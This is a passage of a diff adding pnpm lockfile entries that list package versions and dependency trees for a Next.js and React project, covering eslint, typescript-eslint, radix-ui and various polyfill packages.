'@radix-ui/react-visually-hidden@1.2.3(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0)': + dependencies: + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.0.0)(@types/react@19.0.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0) + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + optionalDependencies: + '@types/react': 19.0.0 + '@types/react-dom': 19.0.0 + + '@radix-ui/rect@1.1.1': {} + + '@rtsao/scc@1.1.0': {} + + '@rushstack/eslint-patch@1.16.1': {} + + '@swc/helpers@0.5.15': + dependencies: + tslib: 2.8.1 + + '@tybys/wasm-util@0.10.2': + dependencies: + tslib: 2.8.1 + optional: true + + '@types/estree@1.0.8': {} + + '@types/json-schema@7.0.15': {} + + '@types/json5@0.0.29': {} + + '@types/node@22.0.0': + dependencies: + undici-types: 6.11.1 + + '@types/react-dom@19.0.0': + dependencies: + '@types/react': 19.0.0 + + '@types/react@19.0.0': + dependencies: + csstype: 3.1.3 + + '@typescript-eslint/eslint-plugin@8.59.3(@typescript-eslint/parser@8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2))(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2)': + dependencies: + '@eslint-community/regexpp': 4.12.2 + '@typescript-eslint/parser': 8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2) + '@typescript-eslint/scope-manager': 8.59.3 + '@typescript-eslint/type-utils': 8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2) + '@typescript-eslint/utils': 8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2) + '@typescript-eslint/visitor-keys': 8.59.3 + eslint: 9.39.4(jiti@1.21.7) + ignore: 7.0.5 + natural-compare: 1.4.0 + ts-api-utils: 2.5.0(typescript@5.0.2) + typescript: 5.0.2 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/parser@8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2)': + dependencies: + '@typescript-eslint/scope-manager': 8.59.3 + '@typescript-eslint/types': 8.59.3 + '@typescript-eslint/typescript-estree': 8.59.3(typescript@5.0.2) + '@typescript-eslint/visitor-keys': 8.59.3 + debug: 4.4.3 + eslint: 9.39.4(jiti@1.21.7) + typescript: 5.0.2 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/project-service@8.59.3(typescript@5.0.2)': + dependencies: + '@typescript-eslint/tsconfig-utils': 8.59.3(typescript@5.0.2) + '@typescript-eslint/types': 8.59.3 + debug: 4.4.3 + typescript: 5.0.2 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/scope-manager@8.59.3': + dependencies: + '@typescript-eslint/types': 8.59.3 + '@typescript-eslint/visitor-keys': 8.59.3 + + '@typescript-eslint/tsconfig-utils@8.59.3(typescript@5.0.2)': + dependencies: + typescript: 5.0.2 + + '@typescript-eslint/type-utils@8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2)': + dependencies: + '@typescript-eslint/types': 8.59.3 + '@typescript-eslint/typescript-estree': 8.59.3(typescript@5.0.2) + '@typescript-eslint/utils': 8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2) + debug: 4.4.3 + eslint: 9.39.4(jiti@1.21.7) + ts-api-utils: 2.5.0(typescript@5.0.2) + typescript: 5.0.2 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/types@8.59.3': {} + + '@typescript-eslint/typescript-estree@8.59.3(typescript@5.0.2)': + dependencies: + '@typescript-eslint/project-service': 8.59.3(typescript@5.0.2) + '@typescript-eslint/tsconfig-utils': 8.59.3(typescript@5.0.2) + '@typescript-eslint/types': 8.59.3 + '@typescript-eslint/visitor-keys': 8.59.3 + debug: 4.4.3 + minimatch: 10.2.5 + semver: 7.8.0 + tinyglobby: 0.2.16 + ts-api-utils: 2.5.0(typescript@5.0.2) + typescript: 5.0.2 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/utils@8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2)': + dependencies: + '@eslint-community/eslint-utils': 4.9.1(eslint@9.39.4(jiti@1.21.7)) + '@typescript-eslint/scope-manager': 8.59.3 + '@typescript-eslint/types': 8.59.3 + '@typescript-eslint/typescript-estree': 8.59.3(typescript@5.0.2) + eslint: 9.39.4(jiti@1.21.7) + typescript: 5.0.2 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/visitor-keys@8.59.3': + dependencies: + '@typescript-eslint/types': 8.59.3 + eslint-visitor-keys: 5.0.1 + + '@unrs/resolver-binding-android-arm-eabi@1.11.1': + optional: true + + '@unrs/resolver-binding-android-arm64@1.11.1': + optional: true + + '@unrs/resolver-binding-darwin-arm64@1.11.1': + optional: true + + '@unrs/resolver-binding-darwin-x64@1.11.1': + optional: true + + '@unrs/resolver-binding-freebsd-x64@1.11.1': + optional: true + + '@unrs/resolver-binding-linux-arm-gnueabihf@1.11.1': + optional: true + + '@unrs/resolver-binding-linux-arm-musleabihf@1.11.1': + optional: true + + '@unrs/resolver-binding-linux-arm64-gnu@1.11.1': + optional: true + + '@unrs/resolver-binding-linux-arm64-musl@1.11.1': + optional: true + + '@unrs/resolver-binding-linux-ppc64-gnu@1.11.1': + optional: true + + '@unrs/resolver-binding-linux-riscv64-gnu@1.11.1': + optional: true + + '@unrs/resolver-binding-linux-riscv64-musl@1.11.1': + optional: true + + '@unrs/resolver-binding-linux-s390x-gnu@1.11.1': + optional: true + + '@unrs/resolver-binding-linux-x64-gnu@1.11.1': + optional: true + + '@unrs/resolver-binding-linux-x64-musl@1.11.1': + optional: true + + '@unrs/resolver-binding-wasm32-wasi@1.11.1': + dependencies: + '@napi-rs/wasm-runtime': 0.2.12 + optional: true + + '@unrs/resolver-binding-win32-arm64-msvc@1.11.1': + optional: true + + '@unrs/resolver-binding-win32-ia32-msvc@1.11.1': + optional: true + + '@unrs/resolver-binding-win32-x64-msvc@1.11.1': + optional: true + + acorn-jsx@5.3.2(acorn@8.16.0): + dependencies: + acorn: 8.16.0 + + acorn@8.16.0: {} + + ajv@6.15.0: + dependencies: + fast-deep-equal: 3.1.3 + fast-json-stable-stringify: 2.1.0 + json-schema-traverse: 0.4.1 + uri-js: 4.4.1 + + ansi-styles@4.3.0: + dependencies: + color-convert: 2.0.1 + + any-promise@1.3.0: {} + + anymatch@3.1.3: + dependencies: + normalize-path: 3.0.0 + picomatch: 2.3.2 + + arg@5.0.2: {} + + argparse@2.0.1: {} + + aria-hidden@1.2.6: + dependencies: + tslib: 2.8.1 + + aria-query@5.3.2: {} + + array-buffer-byte-length@1.0.2: + dependencies: + call-bound: 1.0.4 + is-array-buffer: 3.0.5 + + array-includes@3.1.9: + dependencies: + call-bind: 1.0.9 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-abstract: 1.24.2 + es-object-atoms: 1.1.1 + get-intrinsic: 1.3.0 + is-string: 1.1.1 + math-intrinsics: 1.1.0 + + array.prototype.findlast@1.2.5: + dependencies: + call-bind: 1.0.9 + define-properties: 1.2.1 + es-abstract: 1.24.2 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + es-shim-unscopables: 1.1.0 + + array.prototype.findlastindex@1.2.6: + dependencies: + call-bind: 1.0.9 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-abstract: 1.24.2 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + es-shim-unscopables: 1.1.0 + + array.prototype.flat@1.3.3: + dependencies: + call-bind: 1.0.9 + define-properties: 1.2.1 + es-abstract: 1.24.2 + es-shim-unscopables: 1.1.0 + + array.prototype.flatmap@1.3.3: + dependencies: + call-bind: 1.0.9 + define-properties: 1.2.1 + es-abstract: 1.24.2 + es-shim-unscopables: 1.1.0 + + array.prototype.tosorted@1.1.4: + dependencies: + call-bind: 1.0.9 + define-properties: 1.2.1 + es-abstract: 1.24.2 + es-errors: 1.3.0 + es-shim-unscopables: 1.1.0 + + arraybuffer.prototype.slice@1.0.4: + dependencies: + array-buffer-byte-length: 1.0.2 + call-bind: 1.0.9 + define-properties: 1.2.1 + es-abstract: 1.24.2 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + is-array-buffer: 3.0.5 + + ast-types-flow@0.0.8: {} + + async-function@1.0.0: {} + + autoprefixer@10.4.20(postcss@8.5.14): + dependencies: + browserslist: 4.25.1 + caniuse-lite: 1.0.30001727 + fraction.js: 4.3.7 + normalize-range: 0.1.2 + picocolors: 1.1.1 + postcss: 8.5.14 + postcss-value-parser: 4.2.0 + + available-typed-arrays@1.0.7: + dependencies: + possible-typed-array-names: 1.1.0 + + axe-core@4.11.4: {} + + axobject-query@4.1.0: {} + + balanced-match@1.0.2: {} + + balanced-match@4.0.4: {} + + binary-extensions@2.3.0: {} + + brace-expansion@1.1.14: + dependencies: + balanced-match: 1.0.2 + concat-map: 0.0.1 + + brace-expansion@5.0.6: + dependencies: + balanced-match: 4.0.4 + + braces@3.0.3: + dependencies: + fill-range: 7.1.1 + + browserslist@4.25.1: + dependencies: + caniuse-lite: 1.0.30001727 + electron-to-chromium: 1.5.187 + node-releases: 2.0.19 + update-browserslist-db: 1.1.3(browserslist@4.25.1) + + call-bind-apply-helpers@1.0.2: + dependencies: + es-errors: 1.3.0 + function-bind: 1.1.2 + + call-bind@1.0.9: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-define-property: 1.0.1 + get-intrinsic: 1.3.0 + set-function-length: 1.2.2 + + call-bound@1.0.4: + dependencies: + call-bind-apply-helpers: 1.0.2 + get-intrinsic: 1.3.0 + + callsites@3.1.0: {} + + camelcase-css@2.0.1: {} + + caniuse-lite@1.0.30001727: {} + + caniuse-lite@1.0.30001793: {} + + chalk@4.1.2: + dependencies: + ansi-styles: 4.3.0 + supports-color: 7.2.0 + + chokidar@3.6.0: + dependencies: + anymatch: 3.1.3 + braces: 3.0.3 + glob-parent: 5.1.2 + is-binary-path: 2.1.0 + is-glob: 4.0.3 + normalize-path: 3.0.0 + readdirp: 3.6.0 + optionalDependencies: + fsevents: 2.3.3 + + class-variance-authority@0.7.1: + dependencies: + clsx: 2.1.1 + + client-only@0.0.1: {} + + clsx@2.1.1: {} + + color-convert@2.0.1: + dependencies: + color-name: 1.1.4 + + color-name@1.1.4: {} + + commander@4.1.1: {} + + concat-map@0.0.1: {} + + cross-spawn@7.0.6: + dependencies: + path-key: 3.1.1 + shebang-command: 2.0.0 + which: 2.0.2 + + cssesc@3.0.0: {} + + csstype@3.1.3: {} + + damerau-levenshtein@1.0.8: {} + + data-view-buffer@1.0.2: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-data-view: 1.0.2 + + data-view-byte-length@1.0.2: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-data-view: 1.0.2 + + data-view-byte-offset@1.0.1: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-data-view: 1.0.2 + + debug@3.2.7: + dependencies: + ms: 2.1.3 + + debug@4.4.3: + dependencies: + ms: 2.1.3 + + deep-is@0.1.4: {} + + define-data-property@1.1.4: + dependencies: + es-define-property: 1.0.1 + es-errors: 1.3.0 + gopd: 1.2.0 + + define-properties@1.2.1: + dependencies: + define-data-property: 1.1.4 + has-property-descriptors: 1.0.2 + object-keys: 1.1.1 + + detect-libc@2.1.2: + optional: true + + detect-node-es@1.1.0: {} + + didyoumean@1.2.2: {} + + dlv@1.1.3: {} + + doctrine@2.1.0: + dependencies: + esutils: 2.0.3 + + dunder-proto@1.0.1: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-errors: 1.3.0 + gopd: 1.2.0 + + electron-to-chromium@1.5.187: {} + + emoji-regex@9.2.2: {} + + es-abstract@1.24.2: + dependencies: + array-buffer-byte-length: 1.0.2 + arraybuffer.prototype.slice: 1.0.4 + available-typed-arrays: 1.0.7 + call-bind: 1.0.9 + call-bound: 1.0.4 + data-view-buffer: 1.0.2 + data-view-byte-length: 1.0.2 + data-view-byte-offset: 1.0.1 + es-define-property: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + es-set-tostringtag: 2.1.0 + es-to-primitive: 1.3.0 + function.prototype.name: 1.1.8 + get-intrinsic: 1.3.0 + get-proto: 1.0.1 + get-symbol-description: 1.1.0 + globalthis: 1.0.4 + gopd: 1.2.0 + has-property-descriptors: 1.0.2 + has-proto: 1.2.0 + has-symbols: 1.1.0 + hasown: 2.0.3 + internal-slot: 1.1.0 + is-array-buffer: 3.0.5 + is-callable: 1.2.7 + is-data-view: 1.0.2 + is-negative-zero: 2.0.3 + is-regex: 1.2.1 + is-set: 2.0.3 + is-shared-array-buffer: 1.0.4 + is-string: 1.1.1 + is-typed-array: 1.1.15 + is-weakref: 1.1.1 + math-intrinsics: 1.1.0 + object-inspect: 1.13.4 + object-keys: 1.1.1 + object.assign: 4.1.7 + own-keys: 1.0.1 + regexp.prototype.flags: 1.5.4 + safe-array-concat: 1.1.4 + safe-push-apply: 1.0.0 + safe-regex-test: 1.1.0 + set-proto: 1.0.0 + stop-iteration-iterator: 1.1.0 + string.prototype.trim: 1.2.10 + string.prototype.trimend: 1.0.9 + string.prototype.trimstart: 1.0.8 + typed-array-buffer: 1.0.3 + typed-array-byte-length: 1.0.3 + typed-array-byte-offset: 1.0.4 + typed-array-length: 1.0.7 + unbox-primitive: 1.1.0 + which-typed-array: 1.1.20 + + es-define-property@1.0.1: {} + + es-errors@1.3.0: {} + + es-iterator-helpers@1.3.2: + dependencies: + call-bind: 1.0.9 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-abstract: 1.24.2 + es-errors: 1.3.0 + es-set-tostringtag: 2.1.0 + function-bind: 1.1.2 + get-intrinsic: 1.3.0 + globalthis: 1.0.4 + gopd: 1.2.0 + has-property-descriptors: 1.0.2 + has-proto: 1.2.0 + has-symbols: 1.1.0 + internal-slot: 1.1.0 + iterator.prototype: 1.1.5 + math-intrinsics: 1.1.0 + + es-object-atoms@1.1.1: + dependencies: + es-errors: 1.3.0 + + es-set-tostringtag@2.1.0: + dependencies: + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + has-tostringtag: 1.0.2 + hasown: 2.0.3 + + es-shim-unscopables@1.1.0: + dependencies: + hasown: 2.0.3 + + es-to-primitive@1.3.0: + dependencies: + is-callable: 1.2.7 + is-date-object: 1.1.0 + is-symbol: 1.1.1 + + escalade@3.2.0: {} + + escape-string-regexp@4.0.0: {} + + eslint-config-next@15.5.18(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2): + dependencies: + '@next/eslint-plugin-next': 15.5.18 + '@rushstack/eslint-patch': 1.16.1 + '@typescript-eslint/eslint-plugin': 8.59.3(@typescript-eslint/parser@8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2))(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2) + '@typescript-eslint/parser': 8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2) + eslint: 9.39.4(jiti@1.21.7) + eslint-import-resolver-node: 0.3.10 + eslint-import-resolver-typescript: 3.10.1(eslint-plugin-import@2.32.0)(eslint@9.39.4(jiti@1.21.7)) + eslint-plugin-import: 2.32.0(@typescript-eslint/parser@8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2))(eslint-import-resolver-typescript@3.10.1)(eslint@9.39.4(jiti@1.21.7)) + eslint-plugin-jsx-a11y: 6.10.2(eslint@9.39.4(jiti@1.21.7)) + eslint-plugin-react: 7.37.5(eslint@9.39.4(jiti@1.21.7)) + eslint-plugin-react-hooks: 5.2.0(eslint@9.39.4(jiti@1.21.7)) + optionalDependencies: + typescript: 5.0.2 + transitivePeerDependencies: + - eslint-import-resolver-webpack + - eslint-plugin-import-x + - supports-color + + eslint-import-resolver-node@0.3.10: + dependencies: + debug: 3.2.7 + is-core-module: 2.16.2 + resolve: 2.0.0-next.7 + transitivePeerDependencies: + - supports-color + + eslint-import-resolver-typescript@3.10.1(eslint-plugin-import@2.32.0)(eslint@9.39.4(jiti@1.21.7)): + dependencies: + '@nolyfill/is-core-module': 1.0.39 + debug: 4.4.3 + eslint: 9.39.4(jiti@1.21.7) + get-tsconfig: 4.14.0 + is-bun-module: 2.0.0 + stable-hash: 0.0.5 + tinyglobby: 0.2.16 + unrs-resolver: 1.11.1 + optionalDependencies: + eslint-plugin-import: 2.32.0(@typescript-eslint/parser@8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2))(eslint-import-resolver-typescript@3.10.1)(eslint@9.39.4(jiti@1.21.7)) + transitivePeerDependencies: + - supports-color + + eslint-module-utils@2.12.1(@typescript-eslint/parser@8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2))(eslint-import-resolver-node@0.3.10)(eslint-import-resolver-typescript@3.10.1)(eslint@9.39.4(jiti@1.21.7)): + dependencies: + debug: 3.2.7 + optionalDependencies: + '@typescript-eslint/parser': 8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2) + eslint: 9.39.4(jiti@1.21.7) + eslint-import-resolver-node: 0.3.10 + eslint-import-resolver-typescript: 3.10.1(eslint-plugin-import@2.32.0)(eslint@9.39.4(jiti@1.21.7)) + transitivePeerDependencies: + - supports-color + + eslint-plugin-import@2.32.0(@typescript-eslint/parser@8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2))(eslint-import-resolver-typescript@3.10.1)(eslint@9.39.4(jiti@1.21.7)): + dependencies: + '@rtsao/scc': 1.1.0 + array-includes: 3.1.9 + array.prototype.findlastindex: 1.2.6 + array.prototype.flat: 1.3.3 + array.prototype.flatmap: 1.3.3 + debug: 3.2.7 + doctrine: 2.1.0 + eslint: 9.39.4(jiti@1.21.7) + eslint-import-resolver-node: 0.3.10 + eslint-module-utils: 2.12.1(@typescript-eslint/parser@8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2))(eslint-import-resolver-node@0.3.10)(eslint-import-resolver-typescript@3.10.1)(eslint@9.39.4(jiti@1.21.7)) + hasown: 2.0.3 + is-core-module: 2.16.2 + is-glob: 4.0.3 + minimatch: 3.1.5 + object.fromentries: 2.0.8 + object.groupby: 1.0.3 + object.values: 1.2.1 + semver: 6.3.1 + string.prototype.trimend: 1.0.9 + tsconfig-paths: 3.15.0 + optionalDependencies: + '@typescript-eslint/parser': 8.59.3(eslint@9.39.4(jiti@1.21.7))(typescript@5.0.2) + transitivePeerDependencies: + - eslint-import-resolver-typescript + - eslint-import-resolver-webpack + - supports-color + + eslint-plugin-jsx-a11y@6.10.2(eslint@9.39.4(jiti@1.21.7)): + dependencies: + aria-query: 5.3.2 + array-includes: 3.1.9 + array.prototype.flatmap: 1.3.3 + ast-types-flow: 0.0.8 + axe-core: 4.11.4 + axobject-query: 4.1.0 + damerau-levenshtein: 1.0.8 + emoji-regex: 9.2.2 + eslint: 9.39.4(jiti@1.21.7) + hasown: 2.0.3 + jsx-ast-utils: 3.3.5 + language-tags: 1.0.9 + minimatch: 3.1.5 + object.fromentries: 2.0.8 + safe-regex-test: 1.1.0 + string.prototype.includes: 2.0.1 + + eslint-plugin-react-hooks@5.2.0(eslint@9.39.4(jiti@1.21.7)): + dependencies: + eslint: 9.39.4(jiti@1.21.7) + + eslint-plugin-react@7.37.5(eslint@9.39.4(jiti@1.21.7)): + dependencies: + array-includes: 3.1.9 + array.prototype.findlast: 1.2.5 + array.prototype.flatmap: 1.3.3 + array.prototype.tosorted: 1.1.4 + doctrine: 2.1.0 + es-iterator-helpers: 1.3.2 + eslint: 9.39.4(jiti@1.21.7) + estraverse: 5.3.0 + hasown: 2.0.3 + jsx-ast-utils: 3.3.5 + minimatch: 3.1.5 + object.entries: 1.1.9 + object.fromentries: 2.0.8 + object.values: 1.2.1 + prop-types: 15.8.1 + resolve: 2.0.0-next.7 + semver: 6.3.1 + string.prototype.matchall: 4.0.12 + string.prototype.repeat: 1.0.0 + + eslint-scope@8.4.0: + dependencies: + esrecurse: 4.3.0 + estraverse: 5.3.0 + + eslint-visitor-keys@3.4.3: {} + + eslint-visitor-keys@4.2.1: {} + + eslint-visitor-keys@5.0.1: {} + + eslint@9.39.4(jiti@1.21.7): + dependencies: + '@eslint-community/eslint-utils': 4.9.1(eslint@9.39.4(jiti@1.21.7)) + '@eslint-community/regexpp': 4.12.2 + '@eslint/config-array': 0.21.2 + '@eslint/config-helpers': 0.4.2 + '@eslint/core': 0.17.0 + '@eslint/eslintrc': 3.3.5 + '@eslint/js': 9.39.4 + '@eslint/plugin-kit': 0.4.1 + '@humanfs/node': 0.16.8 + '@humanwhocodes/module-importer': 1.0.1 + '@humanwhocodes/retry': 0.4.3 + '@types/estree': 1.0.8 + ajv: 6.15.0 + chalk: 4.1.2 + cross-spawn: 7.0.6 + debug: 4.4.3 + escape-string-regexp: 4.0.0 + eslint-scope: 8.4.0 + eslint-visitor-keys: 4.2.1 + espree: 10.4.0 + esquery: 1.7.0 + esutils: 2.0.3 + fast-deep-equal: 3.1.3 + file-entry-cache: 8.0.0 + find-up: 5.0.0 + glob-parent: 6.0.2 + ignore: 5.3.2 + imurmurhash: 0.1.4 + is-glob: 4.0.3 + json-stable-stringify-without-jsonify: 1.0.1 + lodash.merge: 4.6.2 + minimatch: 3.1.5 + natural-compare: 1.4.0 + optionator: 0.9.4 + optionalDependencies: + jiti: 1.21.7 + transitivePeerDependencies: + - supports-color + + espree@10.4.0: + dependencies: + acorn: 8.16.0 + acorn-jsx: 5.3.2(acorn@8.16.0) + eslint-visitor-keys: 4.2.1 + + esquery@1.7.0: + dependencies: + estraverse: 5.3.0 + + esrecurse@4.3.0: + dependencies: + estraverse: 5.3.0 + + estraverse@5.3.0: {} + + esutils@2.0.3: {} + + fast-deep-equal@3.1.3: {} + + fast-glob@3.3.1: + dependencies: + '@nodelib/fs.stat': 2.0.5 + '@nodelib/fs.walk': 1.2.8 + glob-parent: 5.1.2 + merge2: 1.4.1 + micromatch: 4.0.8 + + fast-glob@3.3.3: + dependencies: + '@nodelib/fs.stat': 2.0.5 + '@nodelib/fs.walk': 1.2.8 + glob-parent: 5.1.2 + merge2: 1.4.1 + micromatch: 4.0.8 + + fast-json-stable-stringify@2.1.0: {} + + fast-levenshtein@2.0.6: {} + + fastq@1.20.1: + dependencies: + reusify: 1.1.0 + + fdir@6.5.0(picomatch@4.0.4): + optionalDependencies: + picomatch: 4.0.4 + + file-entry-cache@8.0.0: + dependencies: + flat-cache: 4.0.1 + + fill-range@7.1.1: + dependencies: + to-regex-range: 5.0.1 + + find-up@5.0.0: + dependencies: + locate-path: 6.0.0 + path-exists: 4.0.0 + + flat-cache@4.0.1: + dependencies: + flatted: 3.4.2 + keyv: 4.5.4 + + flatted@3.4.2: {} + + for-each@0.3.5: + dependencies: + is-callable: 1.2.7 + + fraction.js@4.3.7: {} + + fsevents@2.3.2: + optional: true + + fsevents@2.3.3: + optional: true + + function-bind@1.1.2: {} + + function.prototype.name@1.1.8: + dependencies: + call-bind: 1.0.9 + call-bound: 1.0.4 + define-properties: 1.2.1 + functions-have-names: 1.2.3 + hasown: 2.0.3 + is-callable: 1.2.7 + + functions-have-names@1.2.3: {} + + generator-function@2.0.1: {} + + get-intrinsic@1.3.0: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-define-property: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + function-bind: 1.1.2 + get-proto: 1.0.1 + gopd: 1.2.0 + has-symbols: 1.1.0 + hasown: 2.0.3 + math-intrinsics: 1.1.0 + + get-nonce@1.0.1: {} + + get-proto@1.0.1: + dependencies: + dunder-proto: 1.0.1 + es-object-atoms: 1.1.1 + + get-symbol-description@1.1.0: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + + get-tsconfig@4.14.0: + dependencies: + resolve-pkg-maps: 1.0.0 + + glob-parent@5.1.2: + dependencies: + is-glob: 4.0.3 + + glob-parent@6.0.2: + dependencies: + is-glob: 4.0.3 + + globals@14.0.0: {} + + globalthis@1.0.4: + dependencies: + define-properties: 1.2.1 + gopd: 1.2.0 + + gopd@1.2.0: {} + + has-bigints@1.1.0: {} + + has-flag@4.0.0: {} + + has-property-descriptors@1.0.2: + dependencies: + es-define-property: 1.0.1 + + has-proto@1.2.0: + dependencies: + dunder-proto: 1.0.1 + + has-symbols@1.1.0: {} + + has-tostringtag@1.0.2: + dependencies: + has-symbols: 1.1.0 + + hasown@2.0.3: + dependencies: + function-bind: 1.1.2 + + ignore@5.3.2: {} + + ignore@7.0.5: {} + + import-fresh@3.3.1: + dependencies: + parent-module: 1.0.1 + resolve-from: 4.0.0 + + imurmurhash@0.1.4: {} + + internal-slot@1.1.0: + dependencies: + es-errors: 1.3.0 + hasown: 2.0.3 + side-channel: 1.1.0 + + is-array-buffer@3.0.5: + dependencies: + call-bind: 1.0.9 + call-bound: 1.0.4 + get-intrinsic: 1.3.0 + + is-async-function@2.1.1: + dependencies: + async-function: 1.0.0 + call-bound: 1.0.4 + get-proto: 1.0.1 + has-tostringtag: 1.0.2 + safe-regex-test: 1.1.0 + + is-bigint@1.1.0: + dependencies: + has-bigints: 1.1.0 + + is-binary-path@2.1.0: + dependencies: + binary-extensions: 2.3.0 + + is-boolean-object@1.2.2: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-bun-module@2.0.0: + dependencies: + semver: 7.8.0 + + is-callable@1.2.7: {} + + is-core-module@2.16.2: + dependencies: + hasown: 2.0.3 + + is-data-view@1.0.2: + dependencies: + call-bound: 1.0.4 + get-intrinsic: 1.3.0 + is-typed-array: 1.1.15 + + is-date-object@1.1.0: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-extglob@2.1.1: {} + + is-finalizationregistry@1.1.1: + dependencies: + call-bound: 1.0.4 + + is-generator-function@1.1.2: + dependencies: + call-bound: 1.0.4 + generator-function: 2.0.1 + get-proto: 1.0.1 + has-tostringtag: 1.0.2 + safe-regex-test: 1.1.0 + + is-glob@4.0.3: + dependencies: + is-extglob: 2.1.1 + + is-map@2.0.3: {} + + is-negative-zero@2.0.3: {} + + is-number-object@1.1.1: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-number@7.0.0: {} + + is-regex@1.2.1: + dependencies: + call-bound: 1.0.4 + gopd: 1.2.0 + has-tostringtag: 1.0.2 + hasown: 2.0.3 + + is-set@2.0.3: {} + + is-shared-array-buffer@1.0.4: + dependencies: + call-bound: 1.0.4 + + is-string@1.1.1: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-symbol@1.1.1: + dependencies: + call-bound: 1.0.4 + has-symbols: 1.1.0 + safe-regex-test: 1.1.0 + + is-typed-array@1.1.15: + dependencies: + which-typed-array: 1.1.20 + + is-weakmap@2.0.2: {} + + is-weakref@1.1.1: + dependencies: + call-bound: 1.0.4 + + is-weakset@2.0.4: + dependencies: + call-bound: 1.0.4 + get-intrinsic: 1.3.0 + + isarray@2.0.5: {} + + isexe@2.0.0: {} + + iterator.prototype@1.1.5: + dependencies: + define-data-property: 1.1.4 + es-object-atoms: 1.1.1 + get-intrinsic: 1.3.0 + get-proto: 1.0.1 + has-symbols: 1.1.0 + set-function-name: 2.0.2 + + jiti@1.21.7: {} + + js-tokens@4.0.0: {} + + js-yaml@4.1.1: + dependencies: + argparse: 2.0.1 + + json-buffer@3.0.1: {} + + json-schema-traverse@0.4.1: {} + + json-stable-stringify-without-jsonify@1.0.1: {} + + json5@1.0.2: + dependencies: + minimist: 1.2.8 + + jsx-ast-utils@3.3.5: + dependencies: + array-includes: 3.1.9 + array.prototype.flat: 1.3.3 + object.assign: 4.1.7 + object.values: 1.2.1 + + keyv@4.5.4: + dependencies: + json-buffer: 3.0.1 + + language-subtag-registry@0.3.23: {} + + language-tags@1.0.9: + dependencies: + language-subtag-registry: 0.3.23 + + levn@0.4.1: + dependencies: + prelude-ls: 1.2.1 + type-check: 0.4.0 + + lilconfig@3.1.3: {} + + lines-and-columns@1.2.4: {} + + locate-path@6.0.0: + dependencies: + p-locate: 5.0.0 + + lodash.merge@4.6.2: {} + + loose-envify@1.4.0: + dependencies: + js-tokens: 4.0.0 + + lucide-react@0.454.0(react@19.0.0): + dependencies: + react: 19.0.0 + + math-intrinsics@1.1.0: {} + + merge2@1.4.1: {} + + micromatch@4.0.8: + dependencies: + braces: 3.0.3 + picomatch: 2.3.2 + + minimatch@10.2.5: + dependencies: + brace-expansion: 5.0.6 + + minimatch@3.1.5: + dependencies: + brace-expansion: 1.1.14 + + minimist@1.2.8: {} + + ms@2.1.3: {} + + mz@2.7.0: + dependencies: + any-promise: 1.3.0 + object-assign: 4.1.1 + thenify-all: 1.6.0 + + nanoid@3.3.12: {} + + napi-postinstall@0.3.4: {} + + natural-compare@1.4.0: {} + + next-themes@0.4.6(react-dom@19.0.0(react@19.0.0))(react@19.0.0): + dependencies: + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + + next@15.5.18(@playwright/test@1.60.0)(react-dom@19.0.0(react@19.0.0))(react@19.0.0): + dependencies: + '@next/env': 15.5.18 + '@swc/helpers': 0.5.15 + caniuse-lite: 1.0.30001793 + postcss: 8.5.14 + react: 19.0.0 + react-dom: 19.0.0(react@19.0.0) + styled-jsx: 5.1.6(react@19.0.0) + optionalDependencies: + '@next/swc-darwin-arm64': 15.5.18 + '@next/swc-darwin-x64': 15.5.18 + '@next/swc-linux-arm64-gnu': 15.5.18 + '@next/swc-linux-arm64-musl': 15.5.18 + '@next/swc-linux-x64-gnu': 15.5.18 + '@next/swc-linux-x64-musl': 15.5.18 + '@next/swc-win32-arm64-msvc': 15.5.18 + 